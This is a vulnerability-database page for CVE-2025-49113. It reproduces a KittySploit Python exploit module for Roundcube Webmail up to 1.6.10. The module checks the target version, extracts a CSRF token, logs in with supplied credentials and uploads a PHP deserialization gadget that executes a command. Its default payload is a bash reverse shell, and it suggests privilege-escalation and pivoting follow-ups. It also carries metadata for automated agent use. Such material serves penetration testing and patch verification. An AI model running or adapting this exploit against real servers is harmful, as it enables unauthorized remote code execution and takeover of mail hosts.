Lucene search
+L

Roundcube ≤ 1.6.10 Post-Auth RCE (CVE-2025-49113)

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Authenticated RCE in Roundcube Webmail via PHP object deserialization.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Aug 202502:35
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
18 Jun 202519:10
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
10 Jun 202515:21
–githubexploit
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Roundcube Webmail
11 Apr 202621:54
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
3 Jun 202519:04
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
19 Sep 202506:07
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
22 Jun 202516:13
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49113
11 Jul 202513:19
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Roundcube ≤ 1.6.10 post-auth RCE via PHP object deserialization (CVE-2025-49113)."""

import random

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from lib.protocols.http.roundcube import Roundcube, FROM_CONTEXTS


class Module(Exploit, Http_client, Http_login, Roundcube):

    __info__ = {
        "name": "Roundcube ≤ 1.6.10 Post-Auth RCE (CVE-2025-49113)",
        "description": (
            "Authenticated RCE in Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11. "
            "Unsafe _from handling in settings/upload.php allows PHP object deserialization "
            "via a Crypt_GPG_Engine gadget (command execution as the web server user)."
        ),
        "author": ["Maksim Rogov", "Kirill Firsov", "KittySploit Team"],
        "cve": "CVE-2025-49113",
        "platform": Platform.UNIX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-49113",
            "https://fearsoff.org/research/roundcube",
        ],
        "tags": [
            "roundcube",
            "webmail",
            "rce",
            "deserialization",
            "authenticated",
            "cve-2025-49113",
            "kev",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["roundcube"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": True,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    targeturi = OptString("/", "Roundcube base URI (e.g. / or /roundcube/)", required=False)
    roundcube_host = OptString("", "Optional login _host value", required=False, advanced=True)
    command = OptString("", "Command override (else uses payload)", required=False, advanced=True)

    def _base(self) -> str:
        return self.rc_normalize_base(self.targeturi or self.path or "/")

    def _command(self) -> str:
        if self.command and str(self.command).strip():
            return str(self.command).strip()
        return str(self.payload or "").strip()

    def check(self):
        res = self.rc_fetch_login(self._base())
        if not res:
            return {"vulnerable": False, "reason": "No response", "confidence": "low"}
        if res.status_code != 200:
            return {
                "vulnerable": False,
                "reason": f"Unexpected HTTP {res.status_code}",
                "confidence": "low",
            }
        body = res.text or ""
        if not self.rc_looks_like_roundcube(body):
            return {"vulnerable": False, "reason": "Roundcube not detected", "confidence": "low"}

        rcversion = self.rc_extract_version(body)
        if rcversion is None:
            return {"vulnerable": False, "reason": "rcversion not found", "confidence": "low"}

        version = self.rc_parse_version(rcversion)
        if self.rc_version_vulnerable(rcversion):
            return {
                "vulnerable": True,
                "reason": f"Roundcube {version} appears vulnerable to CVE-2025-49113",
                "confidence": "high",
                "version": version,
            }
        return {
            "vulnerable": False,
            "reason": f"Roundcube {version} appears patched",
            "confidence": "medium",
            "version": version,
        }

    def run(self):
        cmd = self._command()
        if not cmd:
            print_error("Set a payload or command option")
            return False

        base = self._base()
        print_status("CVE-2025-49113 — Roundcube post-auth deserialization RCE")

        page = self.rc_fetch_login(base)
        if not page or page.status_code != 200:
            print_error("Unable to fetch login page")
            self.not_vulnerable()
            return False

        rcversion = self.rc_extract_version(page.text or "")
        if rcversion is not None:
            version = self.rc_parse_version(rcversion)
            print_info(f"Detected Roundcube {version}")
            if not self.rc_version_vulnerable(rcversion):
                print_warning("Version outside known vulnerable range; continuing anyway")

        token = self.rc_extract_token(page.text or "")
        if not token:
            print_error("CSRF _token not found")
            self.not_vulnerable()
            return False
        print_success("CSRF token extracted")

        login = self.rc_login(
            str(self.username or ""),
            str(self.password or ""),
            token,
            base_path=base,
            host=str(self.roundcube_host or "").strip(),
        )
        if not login.get("ok"):
            print_error(login.get("reason") or "Login failed")
            self.login_failed()
            return False
        self.login_success()

        gadget = self.rc_build_gpg_gadget(cmd)
        print_status("Uploading Crypt_GPG_Engine gadget...")
        res = self.rc_upload_deserialize(
            gadget,
            base_path=base,
            from_context=random.choice(FROM_CONTEXTS),
        )
        if not res:
            print_error("No response from upload endpoint")
            self.not_vulnerable()
            return False

        print_success(f"Upload sent (HTTP {res.status_code}) — check listener for a session")
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 3.18.8 - 9.9
EPSS0.98972
SSVC
2